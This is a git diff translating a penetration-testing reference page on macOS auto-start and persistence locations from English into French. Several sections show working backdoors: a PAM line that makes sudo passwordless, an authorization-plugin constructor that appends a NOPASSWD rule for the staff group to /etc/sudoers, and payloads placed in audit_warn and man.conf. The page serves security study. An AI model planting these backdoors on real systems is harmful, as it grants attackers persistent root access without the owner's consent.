gérée par le plugin spotlight est créé. +- Nouvelle application requise #### Description & Exploitation -Spotlight is macOS's built-in search feature, designed to provide users with **quick and comprehensive access to data on their computers**.\ -To facilitate this rapid search capability, Spotlight maintains a **proprietary database** and creates an index by **parsing most files**, enabling swift searches through both file names and their content. +Spotlight est la fonction de recherche intégrée de macOS, conçue pour fournir aux utilisateurs un **accès rapide et complet aux données sur leurs ordinateurs**.\ +Pour faciliter cette capacité de recherche rapide, Spotlight maintient une **base de données propriétaire** et crée un index en **analysant la plupart des fichiers**, permettant des recherches rapides à travers les noms de fichiers et leur contenu. -The underlying mechanism of Spotlight involves a central process named 'mds', which stands for **'metadata server'.** This process orchestrates the entire Spotlight service. Complementing this, there are multiple 'mdworker' daemons that perform a variety of maintenance tasks, such as indexing different file types (`ps -ef | grep mdworker`). These tasks are made possible through Spotlight importer plugins, or **".mdimporter bundles**", which enable Spotlight to understand and index content across a diverse range of file formats. +Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie **'serveur de métadonnées'.** Ce processus orchestre l'ensemble du service Spotlight. Complétant cela, il existe plusieurs démons 'mdworker' qui effectuent une variété de tâches de maintenance, telles que l'indexation de différents types de fichiers (`ps -ef | grep mdworker`). Ces tâches sont rendues possibles grâce aux plugins d'importation Spotlight, ou **".mdimporter bundles**", qui permettent à Spotlight de comprendre et d'indexer le contenu à travers une gamme diversifiée de formats de fichiers. -The plugins or **`.mdimporter`** bundles are located in the places mentioned previously and if a new bundle appear it's loaded within monute (no need to restart any service). These bundles need to indicate which **file type and extensions they can manage**, this way, Spotlight will use them when a new file with the indicated extension is created. - -It's possible to **find all the `mdimporters`** loaded running: +Les plugins ou **`.mdimporter`** bundles sont situés dans les endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en un instant (pas besoin de redémarrer de service). Ces bundles doivent indiquer quel **type de fichier et quelles extensions ils peuvent gérer**, de cette façon, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé. +Il est possible de **trouver tous les `mdimporters`** chargés en cours d'exécution : ```bash mdimport -L Paths: id(501) ( - "/System/Library/Spotlight/iWork.mdimporter", - "/System/Library/Spotlight/iPhoto.mdimporter", - "/System/Library/Spotlight/PDF.mdimporter", - [...] +"/System/Library/Spotlight/iWork.mdimporter", +"/System/Library/Spotlight/iPhoto.mdimporter", +"/System/Library/Spotlight/PDF.mdimporter", +[...] ``` - -And for example **/Library/Spotlight/iBooksAuthor.mdimporter** is used to parse these type of files (extensions `.iba` and `.book` among others): - +Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ces types de fichiers (extensions `.iba` et `.book` parmi d'autres) : ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] "CFBundleDocumentTypes" => [ - 0 => { - "CFBundleTypeName" => "iBooks Author Book" - "CFBundleTypeRole" => "MDImporter" - "LSItemContentTypes" => [ - 0 => "com.apple.ibooksauthor.book" - 1 => "com.apple.ibooksauthor.pkgbook" - 2 => "com.apple.ibooksauthor.template" - 3 => "com.apple.ibooksauthor.pkgtemplate" - ] - "LSTypeIsPackage" => 0 - } - ] +0 => { +"CFBundleTypeName" => "iBooks Author Book" +"CFBundleTypeRole" => "MDImporter" +"LSItemContentTypes" => [ +0 => "com.apple.ibooksauthor.book" +1 => "com.apple.ibooksauthor.pkgbook" +2 => "com.apple.ibooksauthor.template" +3 => "com.apple.ibooksauthor.pkgtemplate" +] +"LSTypeIsPackage" => 0 +} +] [...] - => { - "UTTypeConformsTo" => [ - 0 => "public.data" - 1 => "public.composite-content" - ] - "UTTypeDescription" => "iBooks Author Book" - "UTTypeIdentifier" => "com.apple.ibooksauthor.book" - "UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" - "UTTypeTagSpecification" => { - "public.filename-extension" => [ - 0 => "iba" - 1 => "book" - ] - } - } +=> { +"UTTypeConformsTo" => [ +0 => "public.data" +1 => "public.composite-content" +] +"UTTypeDescription" => "iBooks Author Book" +"UTTypeIdentifier" => "com.apple.ibooksauthor.book" +"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" +"UTTypeTagSpecification" => { +"public.filename-extension" => [ +0 => "iba" +1 => "book" +] +} +} [...] ``` - > [!CAUTION] -> If you check the Plist of other `mdimporter` you might not find the entry **`UTTypeConformsTo`**. Thats because that is a built-in _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) and it doesn't need to specify extensions. +> Si vous vérifiez le Plist d'autres `mdimporter`, vous ne trouverez peut-être pas l'entrée **`UTTypeConformsTo`**. C'est parce que c'est un _Identificateur de Type Uniforme_ intégré ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) et il n'est pas nécessaire de spécifier des extensions. > -> Moreover, System default plugins always take precedence, so an attacker can only access files that are not otherwise indexed by Apple's own `mdimporters`. +> De plus, les plugins par défaut du système ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas autrement indexés par les propres `mdimporters` d'Apple. -To create your own importer you could start with this project: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) and then change the name, the **`CFBundleDocumentTypes`** and add **`UTImportedTypeDeclarations`** so it supports the extension you would like to support and refelc them in **`schema.xml`**.\ -Then **change** the code of the function **`GetMetadataForFile`** to execute your payload when a file with the processed extension is created. +Pour créer votre propre importateur, vous pourriez commencer par ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, le **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** afin qu'il prenne en charge l'extension que vous souhaitez prendre en charge et les refléter dans **`schema.xml`**.\ +Ensuite, **changez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre payload lorsqu'un fichier avec l'extension traitée est créé. -Finally **build and copy your new `.mdimporter`** to one of thre previous locations and you can chech whenever it's loaded **monitoring the logs** or checking **`mdimport -L.`** +Enfin, **construisez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé **en surveillant les journaux** ou en vérifiant **`mdimport -L.`** -### ~~Preference Pane~~ +### ~~Panneau de Préférences~~ > [!CAUTION] -> It doesn't look like this is working anymore. +> Il ne semble pas que cela fonctionne encore. -Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) +Écriture : [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - It needs a specific user action -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +- Cela nécessite une action spécifique de l'utilisateur +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - **`/System/Library/PreferencePanes`** - **`/Library/PreferencePanes`** @@ -1241,34 +1159,33 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g #### Description -It doesn't look like this is working anymore. +Il ne semble pas que cela fonctionne encore. -## Root Sandbox Bypass +## Contournement du Sandbox Root > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** being **root** and/or requiring other **weird conditions.** +> Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du sandbox** qui vous permet d'exécuter simplement quelque chose en **l'écrivant dans un fichier** en étant **root** et/ou nécessitant d'autres **conditions étranges.** -### Periodic +### Périodique -Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) +Écriture : [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +- Mais vous devez être root +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` - - Root required - - **Trigger**: When the time comes -- `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` - - Root required - - **Trigger**: When the time comes +- Root requis +- **Déclencheur** : Quand le moment est venu +- `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local` +- Root requis +- **Déclencheur** : Quand le moment est venu #### Description & Exploitation -The periodic scripts (**`/etc/periodic`**) are executed because of the **launch daemons** configured in `/System/Library/LaunchDaemons/com.apple.periodic*`. Note that scripts stored in `/etc/periodic/` are **executed** as the **owner of the file,** so this won't work for a potential privilege escalation. - +Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **démarrages de lancement** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges. ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1299,52 +1216,44 @@ total 24 total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` - -There are other periodic scripts that will be executed indicated in **`/etc/defaults/periodic.conf`**: - +Il existe d'autres scripts périodiques qui seront exécutés indiqués dans **`/etc/defaults/periodic.conf`** : ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` - -If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` it will be **executed sooner or later**. +Si vous parvenez à écrire l'un des fichiers `/etc/daily.local`, `/etc/weekly.local` ou `/etc/monthly.local`, il sera **exécuté tôt ou tard**. > [!WARNING] -> Note that the periodic script will be **executed as the owner of the script**. So if a regular user owns the script, it will be executed as that user (this might prevent privilege escalation attacks). +> Notez que le script périodique sera **exécuté en tant que propriétaire du script**. Donc, si un utilisateur régulier possède le script, il sera exécuté en tant que cet utilisateur (cela pourrait empêcher les attaques d'escalade de privilèges). ### PAM -Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ -Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) +Écriture : [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ +Écriture : [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle) +- Mais vous devez être root +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement -- Root always required +- Root toujours requis #### Description & Exploitation -As PAM is more focused in **persistence** and malware that on easy execution inside macOS, this blog won't give a detailed explanation, **read the writeups to understand this technique better**. - -Check PAM modules with: +Comme PAM est plus axé sur la **persistance** et les logiciels malveillants que sur une exécution facile dans macOS, ce blog ne donnera pas d'explication détaillée, **lisez les écrits pour mieux comprendre cette technique**. +Vérifiez les modules PAM avec : ```bash ls -l /etc/pam.d ``` - -A persistence/privilege escalation technique abusing PAM is as easy as modifying the module /etc/pam.d/sudo adding at the beginning the line: - +Une technique de persistance/élévation de privilèges abusant de PAM est aussi simple que de modifier le module /etc/pam.d/sudo en ajoutant au début la ligne : ```bash auth sufficient pam_permit.so ``` - -So it will **looks like** something like this: - +Alors cela **ressemblera** à quelque chose comme ceci : ```bash # sudo: auth account password session auth sufficient pam_permit.so @@ -1355,14 +1264,12 @@ account required pam_permit.so password required pam_deny.so session required pam_permit.so ``` - -And therefore any attempt to use **`sudo` will work**. +Et donc, toute tentative d'utiliser **`sudo` fonctionnera**. > [!CAUTION] -> Note that this directory is protected by TCC so it's highly probably that the user will get a prompt asking for access. - -Another nice example is su, were you can see that it's also possible to give parameters to the PAM modules (and you coukd also backdoor this file): +> Notez que ce répertoire est protégé par TCC, il est donc très probable que l'utilisateur reçoive une invite demandant l'accès. +Un autre bon exemple est su, où vous pouvez voir qu'il est également possible de donner des paramètres aux modules PAM (et vous pourriez également backdoor ce fichier) : ```bash cat /etc/pam.d/su # su: auth account session @@ -1373,26 +1280,24 @@ account required pam_opendirectory.so no_check_shell password required pam_opendirectory.so session required pam_launchd.so ``` - -### Authorization Plugins +### Plugins d'autorisation Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)\ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and make extra configs -- TCC bypass: ??? +- Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +- Mais vous devez être root et faire des configurations supplémentaires +- Contournement TCC : ??? -#### Location +#### Emplacement - `/Library/Security/SecurityAgentPlugins/` - - Root required - - It's also needed to configure the authorization database to use the plugin +- Root requis +- Il est également nécessaire de configurer la base de données d'autorisation pour utiliser le plugin #### Description & Exploitation -You can create an authorization plugin that will be executed when a user logs-in to maintain persistence. For more information about how to create one of these plugins check the previous writeups (and be careful, a poorly written one can lock you out and you will need to clean your mac from recovery mode). - +Vous pouvez créer un plugin d'autorisation qui sera exécuté lorsqu'un utilisateur se connecte pour maintenir la persistance. Pour plus d'informations sur la façon de créer l'un de ces plugins, consultez les writeups précédents (et faites attention, un plugin mal écrit peut vous verrouiller et vous devrez nettoyer votre mac depuis le mode de récupération). ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1403,74 +1308,64 @@ You can create an authorization plugin that will be executed when a user logs-in __attribute__((constructor)) static void run() { - NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); - system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); +NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); +system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` - -**Move** the bundle to the location to be loaded: - +**Déplacez** le bundle vers l'emplacement à charger : ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` - -Finally add the **rule** to load this Plugin: - +Enfin, ajoutez la **règle** pour charger ce Plugin : ```bash cat > /tmp/rule.plist < - class - evaluate-mechanisms - mechanisms - - CustomAuth:login,privileged - - +class +evaluate-mechanisms +mechanisms + +CustomAuth:login,privileged + + EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` +Le **`evaluate-mechanisms`** indiquera au cadre d'autorisation qu'il devra **appeler un mécanisme externe pour l'autorisation**. De plus, **`privileged`** fera en sorte qu'il soit exécuté par root. -The **`evaluate-mechanisms`** will tell the authorization framework that it will need to **call an external mechanism for authorization**. Moreover, **`privileged`** will make it be executed by root. - -Trigger it with: - +Déclenchez-le avec : ```bash security authorize com.asdf.asdf ``` - -And then the **staff group should have sudo** access (read `/etc/sudoers` to confirm). +Et ensuite, le **groupe du personnel devrait avoir un accès sudo** (lisez `/etc/sudoers` pour confirmer). ### Man.conf -Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) +Écriture : [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and the user must use man -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le sandbox : [🟠](https://emojipedia.org/large-orange-circle) +- Mais vous devez être root et l'utilisateur doit utiliser man +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - **`/private/etc/man.conf`** - - Root required - - **`/private/etc/man.conf`**: Whenever man is used +- Root requis +- **`/private/etc/man.conf`** : Chaque fois que man est utilisé #### Description & Exploit -The config file **`/private/etc/man.conf`** indicate the binary/script to use when opening man documentation files. So the path to the executable could be modified so anytime the user uses man to read some docs a backdoor is executed. - -For example set in **`/private/etc/man.conf`**: +Le fichier de configuration **`/private/etc/man.conf`** indique le binaire/script à utiliser lors de l'ouverture des fichiers de documentation man. Ainsi, le chemin vers l'exécutable pourrait être modifié pour que chaque fois que l'utilisateur utilise man pour lire des docs, une porte dérobée soit exécutée. +Par exemple, défini dans **`/private/etc/man.conf`** : ``` MANPAGER /tmp/view ``` - -And then create `/tmp/view` as: - +Et ensuite créez `/tmp/view` comme : ```bash #!/bin/zsh @@ -1478,40 +1373,34 @@ touch /tmp/manconf /usr/bin/less -s ``` - ### Apache2 -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) +**Écriture**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and apache needs to be running -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - Httpd doesn't have entitlements +- Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle) +- Mais vous devez être root et apache doit être en cours d'exécution +- Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle) +- Httpd n'a pas d'autorisations -#### Location +#### Emplacement - **`/etc/apache2/httpd.conf`** - - Root required - - Trigger: When Apache2 is started +- Root requis +- Déclencheur : Lorsque Apache2 est démarré #### Description & Exploit -You can indicate in `/etc/apache2/httpd.conf` to load a module adding a line such as: - +Vous pouvez indiquer dans `/etc/apache2/httpd.conf` de charger un module en ajoutant une ligne telle que : ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` +De cette façon, votre module compilé sera chargé par Apache. La seule chose est que vous devez soit **le signer avec un certificat Apple valide**, soit **ajouter un nouveau certificat de confiance** dans le système et **le signer** avec celui-ci. -This way your compiled moduled will be loaded by Apache. The only thing is that either you need to **sign it with a valid Apple certificate**, or you need to **add a new trusted certificate** in the system and **sign it** with it. - -Then, if needed , to make sure the server will be started you could execute: - +Ensuite, si nécessaire, pour vous assurer que le serveur sera démarré, vous pourriez exécuter : ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` - -Code example for the Dylb: - +Exemple de code pour le Dylb : ```objectivec #include #include @@ -1519,137 +1408,127 @@ Code example for the Dylb: __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { - printf("[+] dylib constructor called from %s\n", argv[0]); - syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); +printf("[+] dylib constructor called from %s\n", argv[0]); +syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` - -### BSM audit framework +### Cadre d'audit BSM Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root, auditd be running and cause a warning -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle) +- Mais vous devez être root, auditd doit être en cours d'exécution et provoquer un avertissement +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Emplacement - **`/etc/security/audit_warn`** - - Root required - - **Trigger**: When auditd detects a warning +- Root requis +- **Déclencheur** : Lorsque auditd détecte un avertissement #### Description & Exploit -Whenever auditd detects a warning the script **`/etc/security/audit_warn`** is **executed**. So you could add your payload on it. - +Chaque fois qu'auditd détecte un avertissement, le script **`/etc/security/audit_warn`** est **exécuté**. Vous pourriez donc y ajouter votre charge utile. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` +Vous pouvez forcer un avertissement avec `sudo audit -n`. -You could force a warning with `sudo audit -n`. +### Éléments de démarrage -### Startup Items +> [!CAUTION] > **Ceci est obsolète, donc rien ne devrait être trouvé dans ces répertoires.** -> [!CAUTION] > **This is deprecated, so nothing should be found in those directories.** +Le **StartupItem** est un répertoire qui doit être positionné soit dans `/Library/StartupItems/`, soit dans `/System/Library/StartupItems/`. Une fois ce répertoire établi, il doit contenir deux fichiers spécifiques : -The **StartupItem** is a directory that should be positioned within either `/Library/StartupItems/` or `/System/Library/StartupItems/`. Once this directory is established, it must encompass two specific files: +1. Un **script rc** : Un script shell exécuté au démarrage. +2. Un **fichier plist**, spécifiquement nommé `StartupParameters.plist`, qui contient divers paramètres de configuration. -1. An **rc script**: A shell script executed at startup. -2. A **plist file**, specifically named `StartupParameters.plist`, which contains various configuration settings. - -Ensure that both the rc script and the `StartupParameters.plist` file are correctly placed inside the **StartupItem** directory for the startup process to recognize and utilize them. +Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont correctement placés dans le répertoire **StartupItem** pour que le processus de démarrage puisse les reconnaître et les utiliser. {{#tabs}} {{#tab name="StartupParameters.plist"}} - ```xml - Description - This is a description of this service - OrderPreference - None - Provides - - superservicename - +Description +This is a description of this service +OrderPreference +None +Provides + +superservicename + ``` - {{#endtab}} {{#tab name="superservicename"}} - ```bash #!/bin/sh . /etc/rc.common StartService(){ - touch /tmp/superservicestarted +touch /tmp/superservicestarted } StopService(){ - rm /tmp/superservicestarted +rm /tmp/superservicestarted } RestartService(){ - echo "Restarting" +echo "Restarting" } RunService "$1" ``` - {{#endtab}} {{#endtabs}} ### ~~emond~~ > [!CAUTION] -> I cannot find this component in my macOS so for more info check the writeup +> Je ne peux pas trouver ce composant dans mon macOS, donc pour plus d'infos, consultez le writeup Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -Introduced by Apple, **emond** is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins. - -For those aware of its existence, identifying any malicious usage of **emond** is straightforward. The system's LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used: +Introduit par Apple, **emond** est un mécanisme de journalisation qui semble être sous-développé ou peut-être abandonné, mais il reste accessible. Bien qu'il ne soit pas particulièrement bénéfique pour un administrateur Mac, ce service obscur pourrait servir de méthode de persistance subtile pour les acteurs de la menace, probablement inaperçu par la plupart des administrateurs macOS. +Pour ceux qui sont au courant de son existence, identifier toute utilisation malveillante de **emond** est simple. Le LaunchDaemon du système pour ce service recherche des scripts à exécuter dans un seul répertoire. Pour inspecter cela, la commande suivante peut être utilisée : ```bash ls -l /private/var/db/emondClients ``` - ### ~~XQuartz~~ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -#### Location +#### Emplacement - **`/opt/X11/etc/X11/xinit/privileged_startx.d`** - - Root required - - **Trigger**: With XQuartz +- Root requis +- **Déclencheur**: Avec XQuartz #### Description & Exploit -XQuartz is **no longer installed in macOS**, so if you want more info check the writeup. +XQuartz **n'est plus installé sur macOS**, donc si vous voulez plus d'infos, consultez le writeup. ### ~~kext~~ > [!CAUTION] -> It's so complicated to install kext even as root taht I won't consider this to escape from sandboxes or even for persistence (unless you have an exploit) +> C'est tellement compliqué d'installer un kext même en tant que root que je ne considérerai pas cela pour échapper aux sandboxes ou même pour la persistance (à moins que vous ayez un exploit) -#### Location +#### Emplacement -In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: +Pour installer un KEXT en tant qu'élément de démarrage, il doit être **installé dans l'un des emplacements suivants** : - `/System/Library/Extensions` - - KEXT files built into the OS X operating system. +- Fichiers KEXT intégrés dans le système d'exploitation OS X. - `/Library/Extensions` - - KEXT files installed by 3rd party software - -You can list currently loaded kext files with: +- Fichiers KEXT installés par des logiciels tiers +Vous pouvez lister les fichiers kext actuellement chargés avec : ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1657,44 +1536,42 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` - -For more information about [**kernel extensions check this section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +Pour plus d'informations sur [**les extensions du noyau, consultez cette section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) +Écriture : [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) -#### Location +#### Emplacement - **`/usr/local/bin/amstoold`** - - Root required +- Accès root requis #### Description & Exploitation -Apparently the `plist` from `/System/Library/LaunchAgents/com.apple.amstoold.plist` was using this binary while exposing a XPC service... the thing is that the binary didn't exist, so you could place something there and when the XPC service gets called your binary will be called. +Apparemment, le `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` utilisait ce binaire tout en exposant un service XPC... le problème est que le binaire n'existait pas, donc vous pouviez placer quelque chose là et lorsque le service XPC est appelé, votre binaire sera appelé. -I can no longer find this in my macOS. +Je ne peux plus trouver cela sur mon macOS. ### ~~xsanctl~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) +Écriture : [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) -#### Location +#### Emplacement - **`/Library/Preferences/Xsan/.xsanrc`** - - Root required - - **Trigger**: When the service is run (rarely) +- Accès root requis +- **Déclencheur** : Lorsque le service est exécuté (rarement) -#### Description & exploit +#### Description & exploitation -Apparently it's not very common to run this script and I couldn't even find it in my macOS, so if you want more info check the writeup. +Apparemment, il n'est pas très courant d'exécuter ce script et je n'ai même pas pu le trouver sur mon macOS, donc si vous voulez plus d'infos, consultez l'écriture. ### ~~/etc/rc.common~~ -> [!CAUTION] > **This isn't working in modern MacOS versions** - -It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: +> [!CAUTION] > **Cela ne fonctionne pas dans les versions modernes de MacOS** +Il est également possible de placer ici **des commandes qui seront exécutées au démarrage.** Exemple de script rc.common régulier : ```bash # # Common setup for startup scripts. @@ -1734,16 +1611,16 @@ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; ex # CheckForNetwork() { - local test +local test - if [ -z "${NETWORKUP:=}" ]; then - test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) - if [ "${test}" -gt 0 ]; then - NETWORKUP="-YES-" - else - NETWORKUP="-NO-" - fi - fi +if [ -z "${NETWORKUP:=}" ]; then +test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) +if [ "${test}" -gt 0 ]; then +NETWORKUP="-YES-" +else +NETWORKUP="-NO-" +fi +fi } alias ConsoleMessage=echo @@ -1753,25 +1630,25 @@ alias ConsoleMessage=echo # GetPID () { - local program="$1" - local pidfile="${PIDFILE:=/var/run/${program}.pid}" - local pid="" +local program="$1" +local pidfile="${PIDFILE:=/var/run/${program}.pid}" +local pid="" - if [ -f "${pidfile}" ]; then - pid=$(head -1 "${pidfile}") - if ! kill -0 "${pid}" 2> /dev/null; then - echo "Bad pid file $pidfile; deleting." - pid="" - rm -f "${pidfile}" - fi - fi +if [ -f "${pidfile}" ]; then +pid=$(head -1 "${pidfile}") +if ! kill -0 "${pid}" 2> /dev/null; then +echo "Bad pid file $pidfile; deleting." +pid="" +rm -f "${pidfile}" +fi +fi - if [ -n "${pid}" ]; then - echo "${pid}" - return 0 - else - return 1 - fi +if [ -n "${pid}" ]; then +echo "${pid}" +return 0 +else +return 1 +fi } # @@ -1779,16 +1656,15 @@ GetPID () # RunService () { - case $1 in - start ) StartService ;; - stop ) StopService ;; - restart) RestartService ;; - * ) echo "$0: unknown argument: $1";; - esac +case $1 in +start ) StartService ;; +stop ) StopService ;; +restart) RestartService ;; +* ) echo "$0: unknown argument: $1";; +esac } ``` - -## Persistence techniques and tools +## Techniques et outils de persistance - [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) - [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 3701205f8..3873a93f0 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -2,109 +2,98 @@ {{#include ../../banners/hacktricks-training.md}} -
